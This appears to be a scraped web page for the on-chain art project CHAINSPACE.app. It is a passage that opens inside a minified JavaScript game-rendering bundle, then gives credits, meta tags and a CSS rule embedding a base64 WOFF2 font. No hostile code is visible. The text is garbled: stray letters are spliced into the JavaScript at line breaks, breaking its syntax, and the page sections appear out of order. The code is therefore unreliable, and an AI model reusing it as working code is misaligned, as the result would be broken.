tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAJY4AAwAAAABYBwAAJXZAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cBmA/UGZFZIO8TACQAgqBynyBnT4LghoAATYCJAOEMAQgBZQvB4oQW3BHcUN0w7TOCb9uMgCga1ObW1XngGzuMLNymwimLXm9MziajbB6ouj6z/7//zMS5IihCbUHPL62blsMYUKlkUZmlNDpaXjV6pqVpwAArLeqootw8/KeDNDKuPtGH63RZN7KPFPoRuUolWpLS8u0KitVFYiqXgarref8hssLDW1Lad9g27ZHnXPM/cOs0nQ0wlrYZq5lraVVmi7vVjaqsnO1TrU9ygjttFah0jm2Slya1m952tITLT2Guu499uN/BBcBMQJeaw67OgVxOyG89jGGw2a0CH85JglM
BJ4fUc+vPS/kNUhkhXuSA64B9d/T/xsRnCLzJIrBxGSNZOXktItuq3jvwDg849NRDD7K8wpHuFDMqKBgJISpmTOnAkBDBkB9RMSSSEQPBDIZ0GEhixpDBfDsIk3suWVFLNAEM/r/1+8cWBKqgckgg4Sb8Ci/a7bSKDEZiPnL3qL/9A83pv4OLGLwkL8kRQ6KQC1qoUIMqUnEmon/dvqjVJlpZ6Tqh4pgVCsETSBDRNvb8O63/X1vaArLL9rKtJApQY/r0MF9i+JqLSO8NADSEOmBgkS1LQ+9U/27ju2Z40hkKA1uO7fI47ZgFhUE8IIx/rb0/SWdoWWg7dsKGhNe81mlZst7ng/8v1d7u/P/4BcoeVd2ApaJKoWUQKolUuaJsa9ONbRBtkq6PZJwfjuMQIIgGGt0YoLl164AFG1sDY7CNjShZwYIaI6IMqqRKG5QwCp8yCgtfzLcSFXx9I/LDfzhVdZ3ZlOaEJyEAPO/vB3ouPPhABSCSTRWCrtOLn11mAf0sHeqM
sZiw7yc5orHvgCqH6Drgnywo8xFkgkv47qX1ArpDa3T1c06uw1e8KePnAgPz0q6SUDIBcSVbvlRhwhqBmScjynzr91/bDTLfrMpcpgCCOTALbAZ5nbsGcC2r4iPGl0jy4kEH//X56m7lNXlI64S0I+Z2tETWCHKDRrXB1CgA+YJc4jCCmUO/TVGSAQxjwRC8C/n9fVdd3P0Dpf9LlU25QJrsjrc6gJJdWhynp770PGO+9T1gfn9TR/6AKCDeQdAFI6RiCdHwISYwJSvYh5dL6lvQPUseBmEbSjaQbpbTet8gptU3ecjyl1mHO5DGlD1O2LcuYaS1NmexhSQGDbrrZTj2W8EUDDIwDpPh//APVe5o06WMsWq35Vqlg48uA574Z72iutDcLR9nkvkjua9zE7RlZ47Kb25sHRFcgOeWUcxUK0EhQta1VFd6UqFo1Oyk2qIlovkd+8owEiRSs5PnuUUiEVliEUQiNtJ9RCGeQOCROQzQ80By6EJ49DHA4+7L1mu4IV9tM
9M8b7DqWaFeFdldIzv307+/UNld8HUyYwjhHgBLRmyBzKzgAhjTmMXY4cYhJQkGTm4d0F1PYjeFsgWG1R1FoLNDA9xLN/11L/A78VskrWumTyD2bn2GXzKgk1syQja+tl/djvx9cZYBClMjHJFAUBvft6fS8E2JxegnYPJ4UIkYStm6Ht/hX+rZjLq3x2hmByq6ifoNljbLbo0hU80cqJ7DdzOiUFIJUNFCjBc/C0luw2EADVoP6Hn/m3pwFfu1lY+42f2MgEIfeNctADuNXepXQ0SRSDijxwt9vriYV6Qo4TagABclw/JnrfzdebhmDJ/hdeZf8hEDq67oB2/aUZcHJfA2AJAgEAaOIj5qYDkILAEQcZADviYAZMeZTvxKRYrynpyXhuFwQh1gC4AJwf0BROU8gCl75W83NQI/sbxKvB1AY6n/WDu3iIV0OMMcmlvBxyrtss4/dQ1mwdWupy+DCaYc31N8NDPB2uo95mc314aK67S/3fU96hZQSyq2rHmOwit1hM
MdWRMtl2zY6o0xEL73O8078Zi6s2J2Te7jxfj4FTxa1xPtoxP41HCx3OQcWeOy3g3J3/+SNYxRRFjuf2fJyQ/0+2fKoB/NMXg92ldNJltE8fTcRdYw/2CwjLUzRjPTKaumYV0Fry2iBdZLxf5rOgFxUJLGCrRoaS3JbeVurW0rtJFZf4q+1k5u8vrLT+5gugKU5tbunkgH/L3syCEnsDhOCM0gc+S0YMd7qVV5pmxNMIS+SnDPDLWRPSANo2I7I6UacGQte7h8dlWntk2lT1UXEaGXWhRieNtOaeyiJ64l5YRmklZDJ46WZq/Vy2QX7GgFyl0BXs+hvhkhpwPWQSiR0m+Jo2N/M5L03iGruvnKMKih/Cf/jg2zxPyQbjvNEWzCEu/uAlKompc5TEYkwb9FenoS2kCeRM21nBlXkWbyhgoCdlucfCNjnWuLLAcvm80AIgWOp/IdrIjsl3KCaeupoc0lkeWQieh0eiIw5qO7BMlyTeyLwqPOIKz0LgwslR9iEjT/JCM
cxJhbcDkzg3l/UZnXlTSiMF+v01aWmSnLT/FpxWZem18mpRWH8NpW6tvow4Yo2CrsaDXrQd4VrQGomw3Y0PVvevkwBz3q4GtSSOQ/XepmXALewYGviNMEDh+9z9PmvMYusw9g+pyhgQv21vFHQiAPoglnG1QsCbCseUjDnmpOv/YRCmpvkZJQRlK4cm09kru60OvLPJEDw0eAEj6sBdg4Y6npZ7Us43sgr6Hzhfj0F5S3Y+UN3kojCChLJOr7mETUzZVPBTFDKzfIde4TMX0zr88WHvsV++TWEddITiOLzk18eBGWAcnAiM0YiEIituibXV4ACGBMA67xMjcpswyy9XWpovZ6eOguJ1XEh/1AcWlkZpcaWcq+lP3FYCkyF5ZhqDTtz8rREBWY8Tx+oGlWyj+5OwfxpUE3cJ+HOw+B2ToGcoiG0jQzOmzmO3+VuF9WBrvJBcjcwa8aHGU1KQDyOzDba2oWa6w8M40ourbtt1R9jH9XfymlEE7a5EdTqoZsbqRtIHfM
rQRZ5H+FmXANw/4hX/wN58yRm/S+3wB/5VKTgOPMB6ZWYGnlLbDajRV4n7jy6W+UfmCpVbJjijAPuPCU1oeYsnC/8x6m40J4ZR4v3YiiqH7gT8jUwdloXCj/jrrpoTumPvPYj6rrL9J9wMWOmnXEkAapcVSsChC5+LuLv6jOGqV48bE4+Xbhq32t+w8plGvvPkXOZfh9eXWT0Iob/JAbrdsjdo3/NFLzjKgH5yJ7O4ME4SPbo3zOVkrfjw5Z1ID/TfUHqKyP0tqizFEWzBiuL3jy7U7prDrcXQU0p5s27uM6TGpzFM0ocJHrqgPkx5R9XWuZiTKHOJTq+T852Fhy6zPL7WZ+K7igrcE1yTOJct26INKPo9GuAC1C/QXSneR/fP/L0U+6rpMH7rbhTakZsN42qaFCHLeZB4A6wuyw/vSuNfyuUn5OdM7RaSdlxlLCV9K8pQYbPILy3QQj+toGBrvb1b+LTG3YqaaWK+2uEwSHMfHKngdZpabMDTami8/J8xNOn3HWM
GopJ3b9ww5spqBs/pQq+b5n9ppxq5d3rz8Qr7oCwxltNZ68beybc/+T2Xf4N5d6/3lqC5kp5V2sVrOUBmv/GaRUTq0anReh75FifP2FaoJIMvvC/4SqZjqIc73EnrHYXNwd/MFMkTy59g8VD25LVE0cHq0QN/ozdO/mh7uLezhTdak4G8XhCSH2/4kNGPXitwQQRaLBFEZKUP+mak0vu7+OwKOdvVNtE2it44r1ejwxibPvCCXuifVIRX4u6K7QUtEDFiEWPUD6bP+xskO5f4iAbfWY/WGI7JjXJBj/KZSO+OWbgDBuaA1DEt8bHG3S6hDc/eBkd4IkLxFN8ya3Q7DMp61QXoDZ4QJKaUJtWrymr9n3qIQ4XORgr1pMmr0MJ7LcIx3hVySw4BqpkhbWB1+Hh5PdQxMch+x1/yZlSkjiyPpkX+oyDC0DxCm5O5CPcxMnER71i8v3ptTDT4oAWdgxqGVLpDdsNWNpELTJG75FIhYOmF90lluVYagHqZA5N7koTu9+BM
FFOUM5L+kU7zUk4VS4SZXFo5yKUGupCwPKi/Bg6ml2ks43diA4uvWe9jjuvXQQ+HE0vUPQf4Ir5TwaD7C/iVxWEBmUzX/YRFsbQCpyWdFCu61bf3Sea47UWHvtACwg+XfOP+uw72Y4Rr2jmW97rl6af+vbKLghnzVAP6Hx/WXYeiWk/3t9pp35pKsbK3m4Xt9FbB2QLHQhWvOVKhayfy2oktdRHHj27hk8FWcFnyXAC4rhe/h5F2Lz6FUOoXi9uItKdUqRxNVDxhgUGoFbBuls+QNrMbpQm9Hs+7mIXRH/Sblo4pQInQQycw0UefHFYoPC6uzLf72SbnZjBOxzvR4pmkQQOWGLLIaKgkgDUgeH7D6jQnU0FiDbABbFEim5ugOmVvaprEZlNE5IOkxXtagUoUbslTWEKAhV3w3JwAFUXDz5Z0U9jL+69VS/DInbYVgag7HsBVJ4G8LU4DDZK2MfA/m8Yh1XPzSFHHRjjBhEkngRhuloWs+NNGEPIKnGTS5cLGZCyuM
63WkxbpikWXewkCo96eNBXZOBisLFhDPYPSuF+7ZXBEvYU6FCf6HwwvL/ekrG+terLGMUumTyg+Ty6ZI0x7VyinNYIVK2JCUuW77ZTcoehc667K4GLbWOwEBn1pz05yVAjDSzZMq23X6lytV46LlP/RmnrwNz9rml4F8ImVKbc1LZvUU0qt/iOhzC/H+5C/uFY/61RIsKvYYj/5mjeEB4Ag4owiLCIuIMZeYk7jMsrsMOzElukwN6nVCh12G5WQ6Eh8C1uBbVWl5tebXl1SUuN0lMWFToaPQTHiLhOnhKAh9bHBEE2xeMAADZOSruRgmRYLI5lsqx00EnlLtOq9mHfo3jGOnKjoq7UUIkmGye5dbLc9gpF91W57Vv8RMY6Myak/68BIiRZpZM2bbbr1S5Gg8996k/E+rrwJw9Nx58REjJc0Ppc/MRMC9wzUgmShW6FpGDVOOcWus6XPcUS2mTQL9tipGXhGuL+89hUuJoKw9EYkXlrRhHRuQg1Tin1poBRRcAfhMM
cuEQwrgJwzpzgvkyUKnQtIgepxjmodR+uZJqdxU2g3zbFyEvCNeH+87ZYNMuBYETkEOBAKwNrsRZrsRZrkdbiXC3vanlXy7tyoJUocdlFxQX8JjhwiWBcArh3MhFUDoyIHKQa56DWDJZgJAd+Exy4RBCbGAmefMfe6Wc4f9HGmynDGlvsVeSca+6p98b32Lj2OrHiqJ/h/EUbb6YMa22zT4kLqtV65mO/J9BjwkxPvQ01Vrhk0yy0yia7HVPminsava1tQmLIVHeuBhkpWLxJ5mbU+LLKwHC/Csf0tbUymkwqPXgbxaQ+ut4gJajhVjHXbbyVRaj2MLi8R9gs0B+bYtHlFme3CBDA0SApt4JcHBqQcuQXo619L1B0AeAPwYHLBOM0gHOROeEkfb1jCZxTTuTmYarrKjLNzuLmPvpjUyy6bHF2fmXEbOECrhMOBAdaGViLtViLtViLtBbnyoHrhOVdOdBKNLhs5cJBf2yKRZdbnJ1n/B04CV13gHfKhQOtoMppCEYM
qZw76Y1Msupxwdg+v+k/xtQ2JHnJggxzdlKh88HLHxsLgBSwW3e4rDzQpX2wW7DH1N7mwwdof4BXfLbxQ/5gR3Dr2Phpc7CMC+jAfPXt37Qo5FN2evHQOTF6D48NCCBMzQKyPZEJ38Ei2q1hPwtnBEPCHKJgEi65T//O4hiz/quhseYZ7zrCC0siPdSczCx2pu979TkWmoVKE1L3DoiZpvr8Ro6cYx6OuwEcXFoYmmfc7EvktbuIPoxbirihaFFkzGgybGoGXZrZMG+QpcvZcde553tcRx4QlpT5GCDfOXKtttMvhljV5MjY9QJGfHdTXFm9fRD2dThj+AOGx+6TvwqMf3HR+j58Vel1HvG0R183phBEPFBbeO30THvvAbeimINNBnO8ZnK/K3rtawhe28KD9RQzFbmlYbL+JlXxc/gGycUUYB97DCrch0feuEtNw/E5P/d1RS+1DB7xC3STcn0YwgVMHl2uwd6+R4lUWHe79HLVOsCkE33eKyuKPyH8Qz9204n9M
PibGw5K7h4HtmKZODHoTuD+82xCDLLIx+GIfvJ9C7isjc8L5dwx74nN77ecTdUtjrWuzNaxd03OLDnZ98rxWr6CkKDg+vrHApxSGhVqH5R+ATnlx+/9JsQWkzUINBWNcnvWaCHAYhAEgejlOkqaBdH2D1z+mUM9sKrFzaHKVh59D0XU9VzepTILEfBzRYp5N90r8aBrFiwI5d0UJEQCEoJH54IeyydHQkhpzEB9KLcxKxrlW7xCB7fY83nRBu6Ru5c51jnf8V0Qn3tuBBsi/MZTFk7XaE7McE82PZ9Fesx91L5gQaPHnqgfcb34rxuEJjLli3F3OSKHEvRiTKYTDaW8fOr3DBBbr4FRfuXoSKkqCGzuwzKuzhIi5/4LC4rd9hGtzle/0ZbkcnlGdNZrb3rEafIyY498jzOpZpYMQ0FxwxfV/L1D/yNC2REZP2K5Fv4UYmiUFTqg91V53pItQWzqJge6GbMYb3/6xIxJSXlhnbkX9A0yIaRmpEFetFe5oc2W7qIopM
Jz8xFiq8HQD2EzKT7K9XSFtqF7l+/32vB663EQTAPLR2TxBK1+aH76NRT2N3Qr8JwqatTlAlj40QemSU0lkghya4Dc/R1UHpl8bm35/H30/XiOtjODkNcgfET6ODLSjiGG70AIJp8AMcbFGglQrbI/tIw58pKS9ybeFHx3nIVLGMAWE7kbsH0Y2yR08tu75J6gv0aVDxD/fZfqd7tAuZHai5hxrgHK39x9Fs00U6IX7sq89utB48GiQf3I20iHIZ2xI6g37re/gj6hSGLtpRUboWV93F2pUHcDm6VmlqcfUhR4J9SCmWOud2/h3flAwWG7tTM+nk8OucirolOFqo7Dhg7+cxRxu5SR7wQNxk3rKRIugUt68FGYSVvurTUUg/yerrirU0lNMxGsinGAV4r1uySZcqVr4hSemE/qhMkkWmgDUv2wc5GySXUfZMf2py0wF7Ekkwzdtsby802M1yZakP9Fz3+buj+RbGDnSe68sjRxU/PdM4GpOpylBNOGyTk8OoDNdwM
7J/cLHU+S8LvWaiotnm6F7OCVOowCOz586MRVLYXEkQANv3LUoxBz6ha6W2VH1O52Wu64FyG/J1e4LjL8TzWus+lgfXtpidfWsHSe6iA7N5uMi0Q39m8mR3Ouz/bVk/CX7eHxhv33L8URrrsR5JsfZZGH8jlrga1F1LZNG5WGe5HNZS5vIwiCMqxlWguAbDWD6eP2jvOKqbO0IC9QKbBQVAuj2eSVARy23oS67j5OUz5tCFQ6HdlQNzrXYMTmAVZiP5UMrcJNTBnWbQdLN3aNqo3tIqNuy/0OfEBlKoPO76+wmLnnYB/jV4a++ci1Ax/h4sBDDuk5OMDkjTF7njOOhuThmP573Rekrfbe05T+9eF3x8cMr+Qh1n32TrjUQXVWId8GOx6z5WF9w7Z8lVd1bFmWyiUN1aYwzMuy/AIXXYTX+1OMbt990411NN1R22KUfDw7GyD0EUTBC5rgE35eKw5+ZmEtIV3uxod/rv4vSV+E5Ge5shjxvPuEQVjQZRBqIqODuhzM
E6fByYc4GiRuzCYMxnSImUaedECGMjpcE+opMDOfS3aGSXabOFFrtZbSqDtkuyGsDb7WjbrefnbNkeLimmaBv3MMCySsDL4STQaNQNMdiyHXh+wXGxRKbQ2x1QGRgRKfdCNwyOlqhe05gcL1NVvQr2WjFY7dl5twRNjvBGBjREWsELsBYlUWGcNB3feYe33evyC7u4UEW122gD0zodDiS06sPO9v3s23Pn6nL4cx4WIzTGNBCiu3OMtqboWf2YHPLbxLzguLx/sqKfkVjn9YD+9GAAxwOk+Joc/Zja+sv4qaIxZypVIf2g6mhzAnQ8/0jBvEHmdfLgPJnQ4ZSGaQKB6NSCJsIw5H6IEJ5KPVcG+nKj60s5Y8bgy74vitL1cwssZsddRO9APQdfHQ+MnSrPKPx0xL8h/AVcYd0bQmfnZ/kouJdlKAXr+wCPj4XFblm1X8XvoQbc+HT8Vy82JBSP1/imnYTPjGvj12EKJ5R4y8QJEJCXMvmJMcTmlLJ/VFYC7BjfahM
KQ15P8rh1K3cF6nbfy3wsdOFP6mo6U/yj0CpOqS0HnkumWqItZRe1mH+zcYbkP5fpYQDZeJ1711JLJsV5H22ikn3UviPPgCd3Fua4eOAu4746/V0yJOH+xATgLlKOB+MvgXZ6afQSdWc+K/W92y78wq036Sk/7e0Y8RaxXW3HjGf5DcRvwDV58q7gUsEdmCiQgHeN3cC9jVevjBc2L/PoVq5lfA7cIdX2EKhXd4WmoytRW5P3J+JLcfMxTWOzipr7qvUkHS/99L0trd7YOpbqOYOlA+vRq/NSrqj591cbe6Yq5amh37mF078aKAlb27Hr0O3UbexT4pCeE6JXPaRXiRz/IKYf+99w75G04wnmak6pZQVkEqxFxk4DeZt8L+nJwTbhhF8IAQCdAdgAcAGQGq5xJw+JRefKQ+QVZmNxwcNF1mUsojn4FurXyyTSz+1AqbAQvw6zYxxB7kRZXlSWQeN8gGeu8s7yea8ISuF2Mh2wmzuMOOEqfQumrEwWNmGNwzvgKtZM
M8nsPprRYgCebEbY739M3CVd1xphlh3Pq6Y6FM8x42Yo96NcEckOkWafInb5O2JGbSBp7XOnd9AyohMpot8PzTAK9cr+/iJFDIoWDZZNQYw/djhXPs//vT+ltv12Yk/yssYRxNk1KUkMpG7/ZG/fwNa8kTJJsvOhZ38dfkNzzKJdVSWrhzS5nNGvPs//7p/S134kXymmfPpYimUBKEiMZG7+lI8Zcvz+P3PC9rRAu+LFrESkSy/AcW6gO6WakVrypEldISF3SE1Rq0rbaoJsImqSGySolzAE97ffFN9wD93i5hlLXoPhpd3fUxC28pE3pAIbDqHrxtam3JoFJZF9xE+/S5HR0mJaQ1Q+ngTQvPq9sWOLMWI5IwKZdYO05dvc5L0UM4xSe+qyr4lE8XVGVg1+qnmqL21w75Sw4wQBXR+hZJQlIAtKp+Kcv3StlnZKTR4mi+dV8E2NPqYVt6lfFgzaiQlOEsp9NmeA8jID9bHc/pbB+DQVmgQmEw26ZE5gSxdZPGFUM
yUEtDNongJNvGQeKzbkYuc8d9uwLP6CNiM9p4+tO1Tt/sP4AZ4uuHLopTSPncZJEIQbKt1wvx0m4ZTodujbAvUq+gArX1EYuuZ6ygxFEA58IK4WBjWhCjkQipx/VmJf0nfJbSYdroVvuP8Xtcuhmk4VBSv9CdMfZxPjxpM0bskNJ1aX8R/SI1L0YRMMXnqtSR9/eQyCEFVgWpOJg8IHxoU6NuwARRP4+aiuq0veMHZCiXG4wmSBhJgtVGbFFiv8idVR06bq11T+XTg8oS84ItGwTZ1t4pJF+IZhKkBWk3SBrUbH9H09HkYuWj9TUWfVFQksX1wnz7Drry5ncL9VtFSsxTlfMl4U4LPqI+voKFVtrhdvvTSf38gg3CoGtOPG9pBnwVOk92TwIed1UDvg3ekz3t8107FmsDwLWwcbEz8nYevfJjJfwBD6wA8s/dZ7Z3pT/7//XUovrH48QcwKXX8vEOUkg+MQsybONixHP4afSkmxWcJ1qxZf/fxYidTsuys5x0ALdM
lx+qxP/SUuN9XBms0qpsa7mIFS0IEnE/uKVwYUE3tCCXHramSTbIH6Rh49XcLdYz7yhWsPNM3WaFgLUQH7jI+7bf4eUZVi6/ojB4GINHMzVT/Jmce+r+WuEbUHoObcxhX3p/7FisIxgauTvwyzk9htCOUdOVfw31HylczC8gqLnEO3AmcghmSD9P1FL3W7SS1n+Gsw52JIOrvc+J+haH0KZh1eKbhdWOjluY0vGTyKmlZ5VM5ThTTUDlmyaVQZMosVPaUOJXoS2NWC9YR1BeamDmTlzkvY7KTLLN8EeQQO6SbWKq7NRYYaFWkSaaCi2KDoUoodsI8FkuaRpNZvyBuEjtDNC2DHplHMXqIzUhm6E/xhFfGcIPXPIbqGTcmN8KNdnlH3vmH5LqM7m/3yw0zgxpTIUQ3aUUfV4oDzRafKJ4Uo2K0SNCmu89XIIVCzipcWvHY1XGmrNNIUVBZFlJqHksHTllqsBzdZlWD5RkmF5KkkVQx3MrciNbkjchRRifNS7w3cj5M
neFpL/PyG0wm9g6GNp19nOYY+VsYdobwvSu5j8j95SjU6TqhFx5aJjKka/5BEqUaoF2VVfDoTg3XKagK9T6WMjRPYp8oUWloL2ZmhFMkMK3aTfDJhPYM3lZWrUzjT8sB6hlJqFvYyNEeLffnQPtsZEGtlR9CF+0luEt1lqgUN9s9jfalMVFE9obcg5tGeW7sctU6KhPIL8PNOQH1RtVm1oVWlIXWPBzYHtZHtUDLWeyM6JVxdmJAm9FqWb2zwVKNlHVnoGZHpqUaoZzVGpjOVWGaVbktZKDkPcfhOeDGcxM3yqSkaYblncwY7kVXTjsq6KENj5Cb52gcsc1gzWXeE8jHkLm86x3OFqVqVmErmyqxEZJArJyOe2uK5wtA6SQ90Tkuh5qlBbBbJTDsYcqzRMscew/IgmIjW9sDhxJtoznIOkrw4KugnfY672IsDXN5fnMgXRqzlcKd6ZS1HPSon+doulxOs9MoJ2zNUJ3ZmZ4rzbY53hPJt5OpLLAiQX8VZ0SR/EbcM
UC+S7aGySE2jor4TlGLHsrGBSTSAT8FxnUpuaMazLfOJiOt+5E0ROVWg2HVhLYPeMiCOTtjslxWQTEbbe5S7PFEIli2hZnCn0lCkxRKelVIzy0Dv7IcbFbMwQFpPRxWFrOC3/XdzTOlH+NOr3RH5z19Y+L3E7Sbmv80ilraWKU4WhlpQ4MDlR6Gmx4kEDx2fjKscVTBpzGb01VkxonjCk3mAhIcuKy4oLc1PzGRZWKp4hGy6XTbAnVeiao0u/xJuMS01bsiOxVK458pNvYs81ueHxZWDL0sh3FJ2sQUT05FHPX8N6hoAfVHBB5BQYAVkzWBnFppiN5jGOx7H/PLMwneLq/cgS8qwWF7lmcZnil2c5fPZudDJnt7s/xjenjqaESa2e56SzXOIv17ycEc9qjb9f8ciYNw9+P+yEMhNvQOJ6i3L9IaFms6Kg7HsNLO6QE7joLU1VZvKWGOFg3laPCt6f/65w6qdoF6mJq5y1Y6tgrYBdGApl04BKLmRJ8HhKa6gslNUM
ZMnOEh4tOYPEw4tpByZHGZKliMbyOSzKoI2XN4CwjDevofEoalsw00pcIRksmO0Jo4mOlLaVfYkPC06RgW8EmV0psGqg4loaqY5vSNllRIFVFyKWyLJssFWiKEHK5LqsleDZsWbZYU2BrUpXPbHGaMUzHOS7Hjmb0o5TjyxueZSRZrS4K4myc46e++xEnk3F2mtEN2zF+HsaPPXcj3j3dd5sK/MysbOawM0XOGRsFvMKoO0J8Ft1kqcCQqpCeKX2gXqqZbKrYri/X5OM7JBWYmq7KW5dYV2HpUpGwWVPRLOuSc4dZbW6TVudq9GoyckiNImOSuiiY51XKKf3iEMVdyNXWZc9JOM/RTTybESanKb7uxSh1VtAfDynuR4zG3ezpnEk6lehSZ3PiWS4RMYsCIhNVPpxCZOYEK9U7+fQBKxlkrMw7QnwCeXSBCkc3JOsqbF0VsmSwIbHMDXCjgs3FkiWXq2xoKNuGZFODYyiKdA2dTCMj5UkVkEpG4knnqRQaqQpMXSqM
yakPKuoOGu70sJ/fJUfpoKbI1Kjtro4TQsLoj7ox5OCMrzll8euyZ/aJijJI+Hl1IurRV4yp0nD1aivP0eTM977roIyaT20wvm+hJnkQ7ur51MVMe1swoY3ET8TK5ihSDZv5rZZNuChRIVygLzANcNaBtCkhRYsWCWhWCc4Vcr2pkZuSSQllEjGqc2kTlqjs3mNpVjZkVM8eF2sc8GW/psq/KA+kX2NMSxUWq+XCZfG5RxHWmyOtz5H5k7TB7LFNooTKzMoeWqlk+cwQxNxIrGYyJTHLd4foUD7cp5zuCLmlrDPGVZbR3iIMK6k2PqPHmh2i+Rp+gvV3t1M6B/4rnyciO6ZQByAaZCXlUipLvqlJIkDEnpVQs1l1e2uG127DyEcuV27fgwj033yUHW3KywuN1tO5I6xjtkMaKAw1CmiWopkJSCy1Dz4TcdaUZyfDhUiuDyIxFRmE+kBf+nD3zz2TYwM7t1RrXGNsX6wtSn8iVlKaEUtAbmo5FRg6dFlyUXEFSyPJM
NzN0JFNUMNaMs1A/bZ4tJc2z+qOBw5bVYfIGXn8bqf7CRfKyH8vtUyJDMsnwumhwZ5XfMrRjJKOZehh4I+nbH58jl4HJnQ155QL7yr25/gf/99X0Tp2//XuKkH4S9b55qdl2geoieD+lSGyRz0pTyj3Q2SpmQS8UDKTn5NI+UkytqSQUBydNST32kW9Whe8IINMyrM8/lNXz2xGALKfgybbg5abthpnsunTQxbZIKUhVCR8UTOisaylBJgsKM1QLaXJVLAUuqDeiJJlcVSF1IqJpKrhasT3ntHWy/5HTYGmDt1eZ1fvAJaa4/zmHPkfU6llddW24FUi1QjpQkH6Ty6UTWcJvBPpU5NHIVmmpR0GQ2iMdz+aAPGh8pmon88388eMq/ffNRhe/9O9x2wA7BLUokHB4yamX5fh7NoczmTOdFYYaYqoss7KUpFSMz7UyaUf1HSV2kmkdLVT6bFOZ+hlAm9dmCBT0gphhidbj3lH0e2mvmaURj9NTO1N6PboTJDDAOSkFM
3BXuKKa4OL912YMtGiA6cxGfhltRoOa7NXRH3Bn0Vg3WbwBW4yJaBG6024HbwsZrIVhqPwP4sOQZOsmTgJkcccA9g7nm4NNtx6NJNT0gBrTnxiDsBuC3a6EX7bWicjVRzm686G0WnDK4IJixvzvCjVchfhtoZoNYibjd/Le5VvLRhJIXmFjF3kZQ8+4f13H9vgFKIv7jiYOmy5qDKJFLYSFZJpCjBZZc4F26HpoII0aHmQOOpLdcmzITcFhAECVi5thG4t7GsTPXTi9wNGuEZWhYNxIIJ8g1eNrEvP1bwqoAiAhnKtgQ4HfVFL8HFiWUSC1kKaK7OjQ4s1weAeweritU0GzCrZB3wQvmr6+ynY1Y6uAMeK9Y1A7dPpX14Ws6daByKJStmyFXQF7oi9MM9QB/gXYX+31W89+DwKnIfpokLxAuRTOjHUGoyRu4AjmuzQWTosnF1eLjG/LVLcTHGZRJLiRZVqFdJtmQvoL5l/n9teErlnX1kbsCE3gjghbIfoq+nBCOM
a3BARWMizFovsvUI5dmi2D2WfIsTFYRidCxiPk2jBzAZmV3c5djeSxQ+LjD0KfxWGetUkgkHz95Alp7flfyCQPJX5jwv+EFFMQaaTwf6TBKiUwVYuRlxkdaQCDkSWRG9o+u81//SKRSkl0/U1Rs8/B4bk5a5JPN1/mdxLvDdVCSeZjAlPkzm7Iuix1uOrC/YmD4jxdERXuPfAYr7giXm8jn5UzAelo5KKcdlQgmF86HdS1a3TwT9x/d7LJVE9TxRRdETGVL8leUf0XfIz7tfOvuy/XolnY8D6+JMX5SuUV5SflOnZjKwI2bWIpHos5adF5zL/7ev5a+Yx6e0dQ9dIenZlel36xiOUBLlNL30K5UnxfT0vopnvyfD/cyQP7GTbiBttduDO0MY2tN2B9lmPxd99OOvlsTsMXXdt3Cq6eDAHkdjoCgC3j40e+acfXZ5I4InKCwAQAjAVYDVAAUA5wGOAb4AkX5gYyhARZsi2X6XHj5qBw124PyHQb63NAGspWFqC1ArM
